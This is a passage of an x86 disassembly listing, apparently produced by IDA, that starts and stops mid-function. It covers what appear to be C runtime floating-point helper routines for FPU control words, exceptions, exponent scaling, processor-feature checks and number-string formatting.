		jz	short loc_41768B
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_41768B:				; CODE XREF: sub_417565+11Ej
		test	al, 20h
		jz	short loc_417695
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_417695:				; CODE XREF: sub_417565+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_4176D4
		cmp	eax, 400h
		jz	short loc_4176C6
		cmp	eax, 800h
		jz	short loc_4176BA
		cmp	eax, ecx
		jnz	short loc_4176DA
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_4176DA
; ---------------------------------------------------------------------------


loc_4176BA:				; CODE XREF: sub_417565+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_4176D0
; ---------------------------------------------------------------------------


loc_4176C6:				; CODE XREF: sub_417565+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_4176D0:				; CODE XREF: sub_417565+15Fj
		mov	[eax], ecx
		jmp	short loc_4176DA
; ---------------------------------------------------------------------------


loc_4176D4:				; CODE XREF: sub_417565+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_4176DA:				; CODE XREF: sub_417565+14Bj
					; sub_417565+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_417705
		cmp	eax, 200h
		jz	short loc_4176F8
		cmp	eax, ecx
		jnz	short loc_417712
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_417712
; ---------------------------------------------------------------------------


loc_4176F8:				; CODE XREF: sub_417565+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_417710
; ---------------------------------------------------------------------------


loc_417705:				; CODE XREF: sub_417565+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_417710:				; CODE XREF: sub_417565+19Ej
		mov	[eax], ecx


loc_417712:				; CODE XREF: sub_417565+189j
					; sub_417565+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_417C93
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	ds:off_41F17C
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41778C
		and	dword ptr [esi], 0FFFFFFFEh


loc_41778C:				; CODE XREF: sub_417565+222j
		test	byte ptr [eax+8], 8
		jz	short loc_417795
		and	dword ptr [esi], 0FFFFFFFBh


loc_417795:				; CODE XREF: sub_417565+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41779E
		and	dword ptr [esi], 0FFFFFFF7h


loc_41779E:				; CODE XREF: sub_417565+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4177A7
		and	dword ptr [esi], 0FFFFFFEFh


loc_4177A7:				; CODE XREF: sub_417565+23Dj
		test	[eax+8], bl
		jz	short loc_4177AF
		and	dword ptr [esi], 0FFFFFFDFh


loc_4177AF:				; CODE XREF: sub_417565+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_4177E3
		dec	ecx
		jz	short loc_4177D7
		dec	ecx
		jz	short loc_4177CD
		dec	ecx
		jnz	short loc_4177E5
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_4177E5
; ---------------------------------------------------------------------------


loc_4177CD:				; CODE XREF: sub_417565+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_4177DF
; ---------------------------------------------------------------------------


loc_4177D7:				; CODE XREF: sub_417565+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_4177DF:				; CODE XREF: sub_417565+270j
		mov	[esi], ecx
		jmp	short loc_4177E5
; ---------------------------------------------------------------------------


loc_4177E3:				; CODE XREF: sub_417565+257j
		and	[esi], edx


loc_4177E5:				; CODE XREF: sub_417565+260j
					; sub_417565+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_417805
		dec	ecx
		jz	short loc_4177FC
		dec	ecx
		jnz	short loc_41780E
		and	[esi], edx
		jmp	short loc_41780E
; ---------------------------------------------------------------------------


loc_4177FC:				; CODE XREF: sub_417565+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41780C
; ---------------------------------------------------------------------------


loc_417805:				; CODE XREF: sub_417565+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_41780C:				; CODE XREF: sub_417565+29Ej
		mov	[esi], ecx


loc_41780E:				; CODE XREF: sub_417565+291j
					; sub_417565+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417565	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417818	proc near		; CODE XREF: sub_4174CD+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_417843
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_417843
		push	ebx
		call	sub_417CC5
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_417A0D
; ---------------------------------------------------------------------------


loc_417843:				; CODE XREF: sub_417818+15j
					; sub_417818+1Aj
		test	al, 4
		jz	short loc_41785D
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41785D
		push	4
		call	sub_417CC5
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_417A0D
; ---------------------------------------------------------------------------


loc_41785D:				; CODE XREF: sub_417818+2Dj
					; sub_417818+33j
		test	al, bl
		jz	loc_417937
		test	byte ptr [ebp+arg_8], 8
		jz	loc_417937
		push	8
		call	sub_417CC5
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41790F
		cmp	ecx, 400h
		jz	short loc_4178E7
		cmp	ecx, 800h
		jz	short loc_4178BF
		cmp	ecx, eax
		jnz	loc_41792F
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41F7A8
		fld	dbl_437AB8
		fnstsw	ax
		sahf
		ja	short loc_4178B7
		fchs


loc_4178B7:				; CODE XREF: sub_417818+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41792D
; ---------------------------------------------------------------------------


loc_4178BF:				; CODE XREF: sub_417818+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41F7A8
		fnstsw	ax
		sahf
		jbe	short loc_4178D7
		fld	dbl_437AA8
		jmp	short loc_4178DF
; ---------------------------------------------------------------------------


loc_4178D7:				; CODE XREF: sub_417818+B5j
		fld	dbl_437AB8
		fchs


loc_4178DF:				; CODE XREF: sub_417818+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41792D
; ---------------------------------------------------------------------------


loc_4178E7:				; CODE XREF: sub_417818+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41F7A8
		fnstsw	ax
		sahf
		jbe	short loc_4178FF
		fld	dbl_437AB8
		jmp	short loc_417907
; ---------------------------------------------------------------------------


loc_4178FF:				; CODE XREF: sub_417818+DDj
		fld	dbl_437AA8
		fchs


loc_417907:				; CODE XREF: sub_417818+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41792D
; ---------------------------------------------------------------------------


loc_41790F:				; CODE XREF: sub_417818+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41F7A8
		fld	dbl_437AA8
		fnstsw	ax
		sahf
		ja	short loc_417927
		fchs


loc_417927:				; CODE XREF: sub_417818+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_41792D:				; CODE XREF: sub_417818+A5j
					; sub_417818+CDj ...
		fstp	qword ptr [ecx]


loc_41792F:				; CODE XREF: sub_417818+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_417A0D
; ---------------------------------------------------------------------------


loc_417937:				; CODE XREF: sub_417818+47j
					; sub_417818+51j
		test	al, 2
		jz	loc_417A0D
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_417A0D
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_417952
		mov	esi, ebx


loc_417952:				; CODE XREF: sub_417818+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	ds:dbl_41F7A8
		fnstsw	ax
		sahf
		jz	loc_4179FB
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_417BC4
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41799D
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_4179F1
; ---------------------------------------------------------------------------


loc_41799D:				; CODE XREF: sub_417818+17Aj
		fld	[ebp+var_C]
		fcomp	ds:dbl_41F7A8
		fnstsw	ax
		sahf
		jnb	short loc_4179AF
		mov	edx, ebx
		jmp	short loc_4179B1
; ---------------------------------------------------------------------------


loc_4179AF:				; CODE XREF: sub_417818+191j
		xor	edx, edx


loc_4179B1:				; CODE XREF: sub_417818+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_4179E5
		sub	eax, ecx


loc_4179C8:				; CODE XREF: sub_417818+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_4179D3
		test	esi, esi
		jnz	short loc_4179D3
		mov	esi, ebx


loc_4179D3:				; CODE XREF: sub_417818+1B3j
					; sub_417818+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_4179DF
		or	byte ptr [ebp+var_C+3],	80h


loc_4179DF:				; CODE XREF: sub_417818+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_4179C8


loc_4179E5:				; CODE XREF: sub_417818+1ACj
		test	edx, edx
		jz	short loc_4179F1
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_4179F1:				; CODE XREF: sub_417818+183j
					; sub_417818+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_4179FD
; ---------------------------------------------------------------------------


loc_4179FB:				; CODE XREF: sub_417818+14Ej
		mov	esi, ebx


loc_4179FD:				; CODE XREF: sub_417818+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_417A0A
		push	10h
		call	sub_417CC5
		pop	ecx


loc_417A0A:				; CODE XREF: sub_417818+1E8j
		and	edi, 0FFFFFFFDh


loc_417A0D:				; CODE XREF: sub_417818+26j
					; sub_417818+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_417A24
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_417A24
		push	20h
		call	sub_417CC5
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_417A24:				; CODE XREF: sub_417818+1F9j
					; sub_417818+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_417818	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417A2F(int,int,int,int,int,int,double,int)

sub_417A2F	proc near		; CODE XREF: sub_41747A+2Bp
					; sub_4174CD+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_417ADD
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_417A9A
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_417CA2
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B65C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_417A94
		push	esi
		call	sub_417AB7
		pop	ecx


loc_417A94:				; CODE XREF: sub_417A2F+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_417A9A:				; CODE XREF: sub_417A2F+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_417CA2
		push	[ebp+arg_0]
		call	sub_417AB7
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_417A2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AB7	proc near		; CODE XREF: sub_4174CD+7Dp
					; sub_417A2F+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_417AD2
		jle	short locret_417ADC
		cmp	eax, 3
		jg	short locret_417ADC
		mov	dword_74222C, 22h
		retn
; ---------------------------------------------------------------------------


loc_417AD2:				; CODE XREF: sub_417AB7+7j
		mov	dword_74222C, 21h

locret_417ADC:				; CODE XREF: sub_417AB7+9j
					; sub_417AB7+Ej
		retn
sub_417AB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_417ADD	proc near		; CODE XREF: sub_417A2F+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_4379D0


loc_417AE4:				; CODE XREF: sub_417ADD+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_417AFA
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_437AA8
		jl	short loc_417AE4
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_417AFA:				; CODE XREF: sub_417ADD+Dj
		mov	eax, off_4379D4[ecx*8]
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B02	proc near		; CODE XREF: sub_4174CD+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_417B0E
		push	5
		jmp	short loc_417B24
; ---------------------------------------------------------------------------


loc_417B0E:				; CODE XREF: sub_417B02+6j
		test	al, 8
		jz	short loc_417B16
		push	1
		jmp	short loc_417B24
; ---------------------------------------------------------------------------


loc_417B16:				; CODE XREF: sub_417B02+Ej
		test	al, 4
		jz	short loc_417B1E
		push	2
		jmp	short loc_417B24
; ---------------------------------------------------------------------------


loc_417B1E:				; CODE XREF: sub_417B02+16j
		test	al, 1
		jz	short loc_417B26
		push	3


loc_417B24:				; CODE XREF: sub_417B02+Aj
					; sub_417B02+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_417B26:				; CODE XREF: sub_417B02+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_417B02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417B2F(double)

sub_417B2F	proc near		; CODE XREF: sub_413FAE:loc_414034p
					; sub_4140F7:loc_41417Dp

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_417B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417B41(double,int)

sub_417B41	proc near		; CODE XREF: sub_417BC4+82p
					; sub_417BC4+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_417B41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B6A	proc near		; CODE XREF: sub_413FAE+31p
					; sub_4140F7+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_417B81
		cmp	[ebp+arg_0], edx
		jnz	short loc_417B93
		push	1
		jmp	short loc_417BBD
; ---------------------------------------------------------------------------


loc_417B81:				; CODE XREF: sub_417B6A+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_417B93
		cmp	[ebp+arg_0], edx
		jnz	short loc_417B93
		push	2
		jmp	short loc_417BBD
; ---------------------------------------------------------------------------


loc_417B93:				; CODE XREF: sub_417B6A+11j
					; sub_417B6A+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_417BA6
		push	3
		jmp	short loc_417BBD
; ---------------------------------------------------------------------------


loc_417BA6:				; CODE XREF: sub_417B6A+36j
		cmp	cx, 7FF0h
		jnz	short loc_417BC0
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_417BBB
		cmp	[ebp+arg_0], edx
		jz	short loc_417BC0


loc_417BBB:				; CODE XREF: sub_417B6A+4Aj
		push	4


loc_417BBD:				; CODE XREF: sub_417B6A+15j
					; sub_417B6A+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_417BC0:				; CODE XREF: sub_417B6A+41j
					; sub_417B6A+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_417B6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417BC4(double,int)

sub_417BC4	proc near		; CODE XREF: sub_417818+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	ds:dbl_41F7A8
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_417BE4
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_417C7A
; ---------------------------------------------------------------------------


loc_417BE4:				; CODE XREF: sub_417BC4+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_417C53
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_417BFC
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_417C53


loc_417BFC:				; CODE XREF: sub_417BC4+31j
		fld	[ebp+arg_0]
		fcomp	ds:dbl_41F7A8
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_417C14
		push	1
		pop	eax
		jmp	short loc_417C16
; ---------------------------------------------------------------------------


loc_417C14:				; CODE XREF: sub_417BC4+49j
		xor	eax, eax


loc_417C16:				; CODE XREF: sub_417BC4+4Ej
					; sub_417BC4+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_417C2F
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_417C29
		or	dword ptr [ebp+arg_0+4], 1


loc_417C29:				; CODE XREF: sub_417BC4+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_417C16
; ---------------------------------------------------------------------------


loc_417C2F:				; CODE XREF: sub_417BC4+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_417C3D
		or	byte ptr [ebp+arg_0+7],	80h


loc_417C3D:				; CODE XREF: sub_417BC4+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_417B41
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_417C7A
; ---------------------------------------------------------------------------


loc_417C53:				; CODE XREF: sub_417BC4+28j
					; sub_417BC4+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_417B41
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_417C7A:				; CODE XREF: sub_417BC4+1Bj
					; sub_417BC4+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_417BC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C85	proc near		; CODE XREF: sub_417565+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_417C85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C93	proc near		; CODE XREF: sub_417565+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_417C93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417CA2	proc near		; CODE XREF: sub_413FAE+13p
					; sub_413FAE+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_417CA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417CC5	proc near		; CODE XREF: sub_417818+1Dp
					; sub_417818+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_417CDC
		fld	tbyte_437AD0
		fistp	[ebp+arg_0]
		wait


loc_417CDC:				; CODE XREF: sub_417CC5+Bj
		test	cl, 8
		jz	short loc_417CF1
		fstsw	ax
		fld	tbyte_437AD0
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_417CF1:				; CODE XREF: sub_417CC5+1Aj
		test	cl, 10h
		jz	short loc_417D00
		fld	tbyte_437ADC
		fstp	[ebp+var_8]
		wait


loc_417D00:				; CODE XREF: sub_417CC5+2Fj
		test	cl, 4
		jz	short loc_417D0E
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_417D0E:				; CODE XREF: sub_417CC5+3Ej
		test	cl, 20h
		jz	short locret_417D19
		fldpi
		fstp	[ebp+var_8]
		wait

locret_417D19:				; CODE XREF: sub_417CC5+4Cj
		leave
		retn
sub_417CC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D1B	proc near		; CODE XREF: sub_41407D+Fp
		push	30000h
		push	10000h
		call	sub_41B694
		pop	ecx
		pop	ecx
		retn
sub_417D1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D2D	proc near		; CODE XREF: sub_417D6B:loc_417D8Fj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_41F7B8
		fstp	[ebp+var_8]
		fld	ds:dbl_41F7B0
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	ds:dbl_41F668
		fnstsw	ax
		sahf
		jbe	short loc_417D67
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_417D67:				; CODE XREF: sub_417D2D+33j
		xor	eax, eax
		leave
		retn
sub_417D2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D6B	proc near		; CODE XREF: sub_41407D+5p
		push	offset aKernel32 ; "KERNEL32"
		call	ds:dword_41F0B0	; GetModuleHandleA
		test	eax, eax
		jz	short loc_417D8F
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	ds:off_41F0AC
		test	eax, eax
		jz	short loc_417D8F
		push	0
		call	eax ; sub_41407D
		retn
; ---------------------------------------------------------------------------


loc_417D8F:				; CODE XREF: sub_417D6B+Dj
					; sub_417D6B+1Dj
		jmp	sub_417D2D
sub_417D6B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417D94	proc near		; CODE XREF: sub_416065+3CBp
					; DATA XREF: sub_414095+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_415467
		cmp	eax, 65h
		pop	ecx
		jz	short loc_417DD4


loc_417DA8:				; CODE XREF: sub_417D94+3Ej
		inc	esi
		cmp	dword_4379BC, 1
		jle	short loc_417DC1
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_417DD0
; ---------------------------------------------------------------------------


loc_417DC1:				; CODE XREF: sub_417D94+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_4377B0
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_417DD0:				; CODE XREF: sub_417D94+2Bj
		test	eax, eax
		jnz	short loc_417DA8


loc_417DD4:				; CODE XREF: sub_417D94+12j
		mov	cl, byte_4379C0
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_417DDF:				; CODE XREF: sub_417D94+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_417DDF
		pop	esi
		retn
sub_417D94	endp


; =============== S U B	R O U T	I N E =======================================



sub_417DEE	proc near		; CODE XREF: sub_416065+3E2p
					; DATA XREF: sub_414095+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_4379C0
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_417E0A


loc_417DFE:				; CODE XREF: sub_417DEE+1Aj
		cmp	cl, dl
		jz	short loc_417E0A
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_417DFE


loc_417E0A:				; CODE XREF: sub_417DEE+Ej
					; sub_417DEE+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_417E3B


loc_417E11:				; CODE XREF: sub_417DEE+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_417E24
		cmp	cl, 65h
		jz	short loc_417E24
		cmp	cl, 45h
		jz	short loc_417E24
		inc	eax
		jmp	short loc_417E11
; ---------------------------------------------------------------------------


loc_417E24:				; CODE XREF: sub_417DEE+27j
					; sub_417DEE+2Cj ...
		mov	ecx, eax


loc_417E26:				; CODE XREF: sub_417DEE+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_417E26
		cmp	[eax], dl
